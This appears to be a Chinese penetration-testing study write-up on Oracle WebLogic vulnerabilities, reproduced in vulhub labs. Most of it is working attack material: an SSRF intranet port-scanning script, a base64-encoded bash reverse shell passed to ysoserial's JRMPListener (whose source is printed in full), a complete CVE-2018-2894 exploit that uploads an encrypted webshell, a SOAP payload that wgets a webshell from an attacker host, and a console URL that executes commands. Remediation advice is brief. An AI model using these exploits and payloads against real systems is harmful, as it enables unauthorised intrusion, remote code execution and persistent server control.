中间件简绍 常见的中间件
apache
nginx
iis
tomcat
weblogic
jboss
作用是:让一台计算机有处理网站的能力
weblogic javaee中间件(我们国家使用这个的频率很高,而且很多大厂每年争这个漏洞)
jboss javaee中间件
Weblogic 简介
WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间 件,确切的说是一个基于JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部 署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
javaee就是java的企业版
特征
默认端口:7001
控制后台:http://ip:7001/console
通过404判断是否是Weblogic
历史漏洞 WebLogic全系漏洞分析截至20230612-上 - FreeBuf网络安全行业门户
漏洞发现
fofa
fofa:app=”BEA-WebLogic-Server” && country!=”CN”
默认端口是7001
批量漏洞扫描
https://github.com/rabbitmask/WeblogicScan
https://github.com/0xn0ne/weblogicScanner
环境搭建 https://github.com/vulhub/vulhub/tree/master/weblogic
历史漏洞复现 WeakPassword
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的户名密码
相关弱口令
https://cirt.net/passwords?criteria=weblogic
账号:weblogic 密码:Oracle@123
复现
先使用蚁剑生成一个jsp木马
保存为jsp,然后使用
然后登录console后台
上载文件
后面就一直下一步就可以了
最后完成
上传成功之后,访问
路径为:
war包名(不带war)/jsp名(要带jsp)
使用蚁剑连接就行
CVE-2014-4210 这个漏洞是一个ssrf 漏洞
简绍 Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻 击内网中Redis、Fastcgi 等脆弱组件
漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致 SSRF,用来攻击内网 中一些redis和fastcgi之类的脆弱组件
由于redis 的传输协议是文本协议,所以直接可以通过http 进行攻击
FastCGI 通过构造符合FastCGI 协议的恶意请求,直接与后端服务通信
漏洞产生原因 该漏洞存在于WebLogic的UDDI Explorer组件中的SearchPublicRegistries.jsp
页面。UDDI(Universal Description, Discovery, and Integration)是一种用于发现Web服务的技术。
内网存活探测脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import contextlibimport itertoolsimport requests url = "http://122.114.225.18:4012/uddiexplorer/SearchPublicRegistries.jsp" ports = [6378 ,6379 ,22 ,25 ,80 ,8080 ,8888 ,8000 ,7001 ,7002 ]for i, port in itertools.product(range (1 , 255 ), ports): params = dict ( rdoSearch="name" , txtSearchname="sdf" , selfor="Business+location" , btnSubmit="Search" , operator=f"http://172.19.0.{i} :{port} " , ) with contextlib.suppress(Exception): r = requests.get(url, params=params, timeout = 3 ) if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text: print (f'[*] http://172.19.0.{i} :{port} ' )
ssrf 攻击redis Redi 传输协议是-resp 协议
在攻击的进程中,可以通过dict/http 进行端口的一个扫描
题外话:获取公网IP
curl cip.cc
CVE-2018-2628 漏洞简介 Weblogic Server WLS Core Components反序列化命令执行漏洞 (CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令
T3协议是Oracle WebLogic Server中的一种专有协议,用于在客户端和服务器之间进行通信。它建立在TCP/IP协议之上,是WebLogic Server的默认通信协议,主要用于处理Java客户端和WebLogic Server之间的交互。T3协议也称为丰富套接字 ,是BEA内部协议,功能丰富,可扩展性好。它是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。
影响版本
Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3
漏洞成因 攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
rmi 使用黑名单限制
T3 协议默认开启
T3 协议和反序列化耦合性缺陷 weblogic T3 协议在实现RMI 通信时,强制绑定java 远程反序列化机制。
当攻击者通过T3 协议发送恶意构造的序列化数据的时候,服务端会直接调用ObjectInputStream 类的readObject() 方法进行反序列化
关键代码
1 2 3 4 ObjectInputStream ois = new ObjectInputStream (socket.getInputStream());Object obj = ois.readObject(); processRequest(obj);
动态类加载绕过黑名单 Oracle 采用黑名单的方式过滤已经知道的危险类 AnnotationInvocationHandler 但是存在两个关键的缺陷
协议层漏洞触发条件 当攻击者通过T3协议发送包含上述恶意对象的序列化数据时,WebLogic的反序列化过程会依次执行:
解析JRMP Client请求,建立到攻击者控制的JRMP Listener连接
通过RMI动态加载远程恶意类字节码
执行Transformer调用链,最终通过Runtime.getRuntime().exec()实现命令执行
攻击流程 搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)
在自己主机中启动 JRMP Server服务并且开启监听,利用JRMP Client 生成一段payload payload中已经设置了攻击者服务器ip及JRMPListener监听的端口 ,利用漏洞exp脚本,将payload发送到有漏洞的weblogic服务器中 ,weblogic服务器接收到payload后,反序列化payload,去连接JRMP Server服务器,两者建立通讯,建立通讯后,JRMP Server服务会发送一段可执行命令的payload ,从而达到任意代码执行的操作
攻击者开启JRMP Server监听(对应您描述的第1步)
攻击者向WebLogic发送恶意T3协议数据包(触发目标作为JRMP Client)
目标服务器收到攻击payload后,作为JRMP Client主动连接攻击者的JRMP Server
攻击者的JRMP Server向目标服务器发送二次反序列化payload(CommonsCollections1的链)
目标服务器在反序列化时触发Transformer等类的利用链执行命令
漏洞检测
将url.txt 中的目标改为自己的目标
漏洞复现 其实根据上面的信息,我们就可以推断出整个流程
这里我们使用工具进行攻击
Lighird/CVE-2018-2628: CVE-2018-2628漏洞工具包 (github.com)
创建一个JRMP Server 端
1 java -cp ysoserial-0 .1 -cve-2018 -2628 -all .jar ysoserial.exploit.JRMPListener 10090 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -cp
是一条命令行指令,用于设置 Java 应用程序运行时的类路径(classpath)。Classpath 是一个或多个目录、JAR 文件或其他归档文件的列表,Java 虚拟机(JVM)会在这些位置查找用户类、第三方库以及其他依赖项。当你运行一个 Java 程序时,JVM 需要知道所有必需的类和库的位置,而 -cp
参数就是用来指定这些位置的。
ysoserial.exploit.JRMPListener 这个可以通过java -jar ysoserial-0.1-cve-2018-2628-all.jar 查看
10090 服务端的端口
Jdk7u21 为机器的jdk版本 如果jdk版本>1.7,则直接填写Jdk7u21即可
生成payload
1 java -jar ysoserial-0 .1 -cve-2018 -2628 -all .jar JRMPClient2 192.168.79.137:10090 | xxd -p | tr -d $'\n' && echo
修改exp
开启nc 监听反弹的shell
运行脚本
会有点慢,需要等一下
工具的调用过程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 package ysoserial.exploit;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.ObjectStreamClass;import java.io.OutputStream;import java.io.Serializable;import java.net.InetSocketAddress;import java.net.ServerSocket;import java.net.Socket;import java.net.SocketException;import java.net.URL;import java.rmi.MarshalException;import java.rmi.server.ObjID;import java.rmi.server.UID;import java.util.Arrays;import javax.management.BadAttributeValueExpException;import javax.net.ServerSocketFactory;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import sun.rmi.transport.TransportConstants;import ysoserial.payloads.ObjectPayload.Utils;import ysoserial.payloads.util.Reflections;@SuppressWarnings ( { "restriction" } )public class JRMPListener implements Runnable { private int port; private Object payloadObject; private ServerSocket ss; private Object waitLock = new Object (); private boolean exit; private boolean hadConnection; private URL classpathUrl; public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { this .port = port; this .payloadObject = payloadObject; this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port); } public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this .port = port; this .payloadObject = makeDummyObject(className); this .classpathUrl = classpathUrl; this .ss = ServerSocketFactory.getDefault().createServerSocket(this .port); } public boolean waitFor ( int i ) { try { if ( this .hadConnection ) { return true ; } System.err.println("Waiting for connection" ); synchronized ( this .waitLock ) { this .waitLock.wait(i); } return this .hadConnection; } catch ( InterruptedException e ) { return false ; } } public void close () { this .exit = true ; try { this .ss.close(); } catch ( IOException e ) {} synchronized ( this .waitLock ) { this .waitLock.notify(); } } public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>" ); System.exit(-1 ); return ; } final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener (port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error" ); e.printStackTrace(System.err); } Utils.releasePayload(args[1 ], payloadObject); } public void run () { try { Socket s = null ; try { while ( !this .exit && ( s = this .ss.accept() ) != null ) { try { s.setSoTimeout(5000 ); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream (is); bufIn.mark(4 ); DataInputStream in = new DataInputStream (bufIn); int magic = in.readInt(); short version = in.readShort(); if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { s.close(); continue ; } OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream (sockOut); DataOutputStream out = new DataOutputStream (bufOut); byte protocol = in.readByte(); switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); if ( remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this .payloadObject); break ; default : case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol" ); s.close(); continue ; } bufOut.flush(); out.flush(); } catch ( InterruptedException e ) { return ; } catch ( Exception e ) { e.printStackTrace(System.err); } finally { System.err.println("Closing connection" ); s.close(); } } } finally { if ( s != null ) { s.close(); } if ( this .ss != null ) { this .ss.close(); } } } catch ( SocketException e ) { return ; } catch ( Exception e ) { e.printStackTrace(System.err); } } private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message..." ); int op = in.read(); switch ( op ) { case TransportConstants.Call: doCall(in, out, payload); break ; case TransportConstants.Ping: out.writeByte(TransportConstants.PingAck); break ; case TransportConstants.DGCAck: UID u = UID.read(in); break ; default : throw new IOException ("unknown transport op " + op); } s.close(); } private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream (in) { @Override protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { if ( "[Ljava.rmi.server.ObjID;" .equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID" .equals(desc.getName())) { return ObjID.class; } else if ( "java.rmi.server.UID" .equals(desc.getName())) { return UID.class; } throw new IOException ("Not allowed to read object" ); } }; ObjID read; try { read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException ("unable to read objID" , e); } if ( read.hashCode() == 2 ) { ois.readInt(); ois.readLong(); System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); } System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return); ObjectOutputStream oos = new JRMPClient .MarshalOutputStream(out, this .classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID ().write(oos); BadAttributeValueExpException ex = new BadAttributeValueExpException (null ); Reflections.setFieldValue(ex, "val" , payload); oos.writeObject(ex); oos.flush(); out.flush(); this .hadConnection = true ; synchronized ( this .waitLock ) { this .waitLock.notifyAll(); } } @SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader () {}; ClassPool cp = new ClassPool (); cp.insertClassPath(new ClassClassPath (Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch ( Exception e ) { e.printStackTrace(); return new byte [0 ]; } } public static class Dummy implements Serializable { private static final long serialVersionUID = 1L ; } }
通过上面的漏洞复现过程中,进行分析
1 java -cp ysoserial-0.1 -cve-2018 -2628 -all.jar ysoserial.exploit.JRMPListener 10090 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
首先调用了 JRMPListener 开启了一个JRMP server 的服务
然后指出了监听的端口,jdk 的版本,执行的命令
对应的代码在 main 中进行体现
1 2 3 4 5 6 7 if ( args.length < 3 ) { System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>" ); System.exit (-1 ); return; } final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
本质上就是开启了一个JRMP server
1 java -jar ysoserial-0.1 -cve-2018 -2628 -all.jar JRMPClient2 192.168 .79 .137 :10090 | xxd -p | tr -d $'\n' && echo
然后可以这里选择的是client2 的原因是
JRMPClient2通过ActivationGroupImpl构造远程对象引用,利用ActivationID机制触发二次反序列化,这种非标准实现更易绕过基于常规RMI调用的防护机制。
JRMPClient基于java.rmi.registry.Registry接口实现,对应标准RMI注册表通信
JRMPClient2使用java.rmi.activation.Activator接口,属于RMI对象激活机制
一些疑问和解答 为什么不由 python 脚本直接发送执行命令的t3 协议的数据包,而是需要走JRMP server 去发送
黑名单绕过
weblogic 部署的时候可能会部署反序列化黑名单。如果是直接包含恶意的反序列化数据包可能会被直接拦截
通过JRMP 协议诱导服务器主动连接攻击者的监听器,利用RMI 动态类的加载方式,可以使 weblogic 从攻击者制定的远程地址加载恶意类
完全的规避本地黑名单检测
协议特性利用
二次反序列化触发点:JRMP 的RemoteObjectInvocationHandler 在建立的时候必然会触发反序列化操作
上下文权限继承,JRMP 建立执行的代码权限继承上下文,一般java 应用的启动权限都会挺高的
网络穿透,由服务器连接JRMP server 的过程是一个主动连接的过程,一般防火墙会通过weblogic 主动建立的连接
Python脚本生成的初始Payload(约300-500字节)仅包含JRMP连接指令,而真实攻击代码(如内存马注入逻辑)通过后续JRMP通道传输,这种分阶段传递方式具有:
规避WAF检测 :短小的初始Payload难以被规则引擎识别
动态调整能力 :攻击者可实时更换JRMP监听器中的最终攻击代码
隐蔽性增强 :实际恶意代码不落盘,全程内存驻留
关键阶段对比 :
阶段
直接发送EXP
JRMP转发模式
载荷位置
包含在首次请求中
首包仅含连接指令,恶意代码在二次连接传输
黑名单对抗
依赖0day绕过
利用RMI Codebase机制天然绕过
网络审计可见性
完整攻击代码一次性暴露
仅暴露JRMP连接行为(类似正常Java通信)
攻击成功率
依赖具体版本补丁状况
通用性更强(所有未修复版本通杀)
CVE-2018-2894 介绍
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp 文件,进而获取 服务器权限。
环境搭建 利用vulhub里面的
漏洞复现 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 import reimport sysimport timeimport argparseimport requestsimport tracebackimport xml.etree.ElementTree as ETdef get_current_work_path (host ): geturl = f"{host} /ws_utc/resources/setting/options/general" ua = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0' } values = [] try : request = requests.get(geturl) if request.status_code == 404 : exit(f"[-] {host} don't exists CVE-2018-2894" ) elif "Deploying Application" .lower() in request.text.lower(): print ("[*] First Deploying Website Please wait a moment ..." ) time.sleep(20 ) request = requests.get(geturl, headers=ua) if "</defaultValue>" in request.content.decode(): root = ET.fromstring(request.content) value = root.find("section" ).find("options" ) for e in value: values.extend( sub.text for sub in e if e.tag == "parameter" and sub.tag == "defaultValue" ) except requests.ConnectionError: exit(f"[-] Cannot connect url: {geturl} " ) if values: return values[0 ] print ("[-] Cannot get current work path\n" ) exit(request.content)def get_new_work_path (host ): origin_work_path = get_current_work_path(host) works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css" if "user_projects" in origin_work_path: if "\\" in origin_work_path: works = works.replace("/" , "\\" ) current_work_home = origin_work_path[:origin_work_path.find("user_projects" )] + "user_projects\\domains" dir_len = len (current_work_home.split("\\" )) domain_name = origin_work_path.split("\\" )[dir_len] current_work_home += "\\" + domain_name + works else : current_work_home = origin_work_path[:origin_work_path.find("user_projects" )] + "user_projects/domains" dir_len = len (current_work_home.split("/" )) domain_name = origin_work_path.split("/" )[dir_len] current_work_home += f"/{domain_name} {works} " else : current_work_home = origin_work_path print (f"[*] cannot handle current work home dir: {current_work_home} " ) return current_work_homedef set_new_upload_path (host, path ): data = { "setting_id" : "general" , "BasicConfigOptions.workDir" : path, "BasicConfigOptions.proxyHost" : "" , "BasicConfigOptions.proxyPort" : "80" } request = requests.post(f"{host} /ws_utc/resources/setting/options" , data=data, headers=headers) if "successfully" in request.content.decode(): return True print ("[-] Change New Upload Path failed" ) exit(request.content)def upload_webshell (host, uri ): set_new_upload_path(host, get_new_work_path(host)) files = { "ks_edit_mode" : "false" , "ks_password_front" : password, "ks_password_changed" : "true" , "ks_filename" : ("test.jsp" , upload_content) } request = requests.post(host + uri, files=files) response = request.text if match := re.findall("<id>(.*?)</id>" , response): tid = match [-1 ] shell_path = f"{host} /ws_utc/css/config/keystore/{str (tid)} _test.jsp" if "test" in requests.get(shell_path, headers=headers).content.decode(): print (f"[+] {host} exists CVE-2018-2894" ) print (f"[+] Check URL: {shell_path} " ) else : print (f"[-] {host} don't exists CVE-2018-2894" ) else : print (f"[-] {host} don't exists CVE-2018-2894" )if __name__ == "__main__" : start = time.time() password = "test" url = "/ws_utc/resources/setting/keystore" parser = argparse.ArgumentParser() parser.add_argument("-t" , dest='target' , default="http://127.0.0.1:7001" , type =str , help ="target, such as: http://example.com:7001" ) upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>' headers = { 'Content-Type' : 'application/x-www-form-urlencoded' , 'X-Requested-With' : 'XMLHttpRequest' , } if len (sys.argv) == 1 : sys.argv.append('-h' ) args = parser.parse_args() target = args.target target = target.rstrip('/' ) if "://" not in target: target = f"http://{target} " try : upload_webshell(target, url) except Exception as e: print ("[-] Error: \n" ) traceback.print_exc()
执行exp
尝试访问
使用冰蝎连接
密码为:rebeyond
手动复现 比较麻烦
先获取一下管理员密码用于设置
1 docker-compose logs | grep password
尝试登录
Oracle WebLogic Server 管理控制台
利用密码登录之后
设置
ws_utc/config.do
修改为
1 /u01/ oracle/user_projects/ domains/base_domain/ servers/AdminServer/ tmp/_WL_internal/ com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/ war/css
因为这个目录是不需要密码的
利用
在ws_utc/config.do 安全中上传大马
注意是jsp 文件
审查元素获取时间戳
连接
访问http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://192.168.79.167:7001/ws_utc/css/config/keystore/1720189002500_ant.jsp
CVE-2019-2725 这个是一个xml 反序列化漏洞
序列化和反序列化 由于java程序都会将java类转变成为内存中的字节码,就是.class
文件,但是java是主要要后端,就需要使用网络通信,就需要转变成为可传输的形式
java内存中的对象 -> 字符串(字节码):序列化
|网络传输|
字符串(字节码)-> 内存中的java对象:反序列化
漏洞描述 Weblogic反序列化远程代码执行漏洞:
cnvd-c-2019-48814
cve-2019-2725
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请 求,利用该漏洞获取服务器权限,实现远程代码执行。
影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件
bea_wls9_async_response.war
wsat.war
漏洞判断 判断不安全组件是否开启
通过访问路径/_async/AsyncResponseService
wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响
查看网站路径
/_async/AsyncResponseService?info
漏洞利用 https://github.com/TopScrew/CVE-2019-2725
工具利用
或者是
尝试反弹shell
手动利用
将攻击脚本上传至攻击机
准备一个冰蝎的jsp 脚本 然后添加后缀.txt
然后开启一个http 服务
抓包,然后放入poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 POST /_async/AsyncResponseService HTTP/1.1 Host : 192.168.132.144:58832User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateDNT : 1Cookie : vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064Upgrade-Insecure-Requests : 1Cache-Control : max-age=0Content-Length : 854SOAPAction :Accept : */*User-Agent : Apache-HttpClient/4.1.1 (java 1.5)Connection : keep-alivecontent-type : text/xml<soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa ="http://www.w3.org/2005/08/addressing" xmlns:asy ="http://www.bea.com/async/AsyncResponseService" ><soapenv:Header > <wsa:Action > xx</wsa:Action > <wsa:RelatesTo > xx</wsa:RelatesTo > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="3" > <void index ="0" > <string > /bin/bash</string > </void > <void index ="1" > <string > -c</string > </void > <void index ="2" > <string > wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string > </void > </array > <void method ="start" /> </void > </work:WorkContext > </soapenv:Header > <soapenv:Body > <asy:onAsyncDelivery /> </soapenv:Body > </soapenv:Envelope >
连接
漏洞修复
对应的补丁包
https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
升级本地的jdk
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因 此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
配置URL访问控制策略
部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。
删除不安全文件
删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。
一些疑问和解答 什么事soap 报文 SOAP(Simple Object Access Protocol)是一种基于XML的协议,用于在网络上交换结构化的信息。它提供了一组规则来定义消息的格式和处理方法,使得不同操作系统上的应用程序可以通过HTTP或SMTP等传输协议进行通信。
SOAP报文是使用SOAP协议进行通信时的数据载体,它本质上是一个XML文档,遵循SOAP规范定义的特定结构。一个完整的SOAP报文通常包括以下几个部分:
信封(Envelope) :这是SOAP报文的根元素,用于将整个消息封装起来,标识该消息为一个SOAP消息。
头(Header) :可选元素,包含与消息相关的额外需求信息,如认证、事务管理等。
体(Body) :必需元素,包含了实际要发送的消息内容,比如请求或响应的细节。
错误(Fault) :在SOAP Body内,当发生错误时用来返回错误信息。它可以携带关于错误代码、错误消息、角色以及详细错误信息等内容。
SOAP由于其严格的规范和对复杂安全功能的支持,在企业级应用集成和服务导向架构(SOA)中被广泛应用。然而,随着RESTful Web服务的流行,因为后者更轻量且易于使用,SOAP的使用场景有所减少。但即便如此,在需要高安全性、可靠性和标准化操作的环境中,SOAP仍然是一个重要的选择。
为什么使用这个exp 就可以执行命令?
soap 报文注入
POC构造了一个包含<work:WorkContext>
标签的SOAP请求,该标签允许WebLogic处理工作区上下文。攻击者在此标签内嵌入Java类java.lang.ProcessBuilder
,并定义其参数为/bin/bash -c
及wget
下载指令。此结构在WebLogic解析时被识别为合法的序列化对象。
恶意对象反序列化触发
WebLogic在处理SOAP报文时,未对WorkContext
中的XML内容进行安全过滤,直接触发反序列化操作。ProcessBuilder
类在实例化时会执行其start()
方法,导致系统执行预设的Shell命令。
远程代码执行链
<array>
标签中的三段命令通过拼接形成完整的Shell指令:
/bin/bash
调用系统Shell解释器
-c
参数允许后续字符串作为命令执行
wget
从攻击者控制的服务器下载Webshell(如JSP文件)到WebLogic可访问路径,实现持久化控制。
WebLogic的异步通信服务(AsyncResponseService)未对XML反序列化过程施加严格的安全限制,使得攻击者可通过构造特定XML节点调用危险类(如ProcessBuilder
)。这种设计缺陷导致攻击者绕过常规权限校验,直接操作底层系统。
xml 反序列化的过程
恶意对象构造阶段 攻击者通过XML标签层级结构定义高危操作,典型构造包含<java>
根节点、<object>
类实例化标签及<void>
方法调用标签。例如定义ProcessBuilder
类实例时,通过<array>
标签注入命令参数,最终通过<void method="start">
触发进程执行。
动态反射解析阶段 XMLDecoder在解析时会采用Java反射机制动态构建对象。当解析至<object class="java.lang.ProcessBuilder">
节点时,解析器会通过Class.forName()加载目标类,利用Constructor.newInstance()实例化对象。参数赋值通过<array>
标签内的<string>
元素完成,形成完整的命令参数数组。
1 2 3 4 5 public ProcessBuilder (String... command) { this .command = new ArrayList <>(command.length); for (String arg : command) this .command.add(arg); }
方法链式触发阶段 在闭合标签处理阶段,解析器通过Method.invoke()执行预设方法。针对<void method="start">
标签,系统会调用ProcessBuilder实例的start()方法,此时已构造完成的命令参数(如calc.exe)将被传递给底层Runtime.getRuntime().exec(),实现系统级命令执行。
CVE-2020-14882 漏洞描述 Weblogic 管理控制台未授权远程命令执行漏洞
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响范围
WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.3 WebLogic 12.2.1.4 WebLogic 14.1.1.0
漏洞环境 docker-compose.yml
1 2 3 4 5 6 version: '2' services: weblogic: image: vulhub/weblogic:12.2 .1.3 -2018 ports: - "7001:7001"
漏洞复现 CVE-2020-14882 这个是一个未授权访问
CVE-2020-14883 下面这个就是反弹shell,原理就是运用java的命令执行函数造成的
java 唯一一个命令执行函数:
java.lang.Runtime.getRuntime().exec()
下面是payload
创建文件夹
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘touch%20/tmp/august’);”)
因为这个是i靶场我们可以看这个文件是否创建
成功创建
这个相当于就是命令执行了,现在想反弹shell 可以敲反弹shell的命令,也可以直接下载反弹shell的脚本
现在我的vps模拟攻击机
先访问一下是否成功
现在攻击靶机
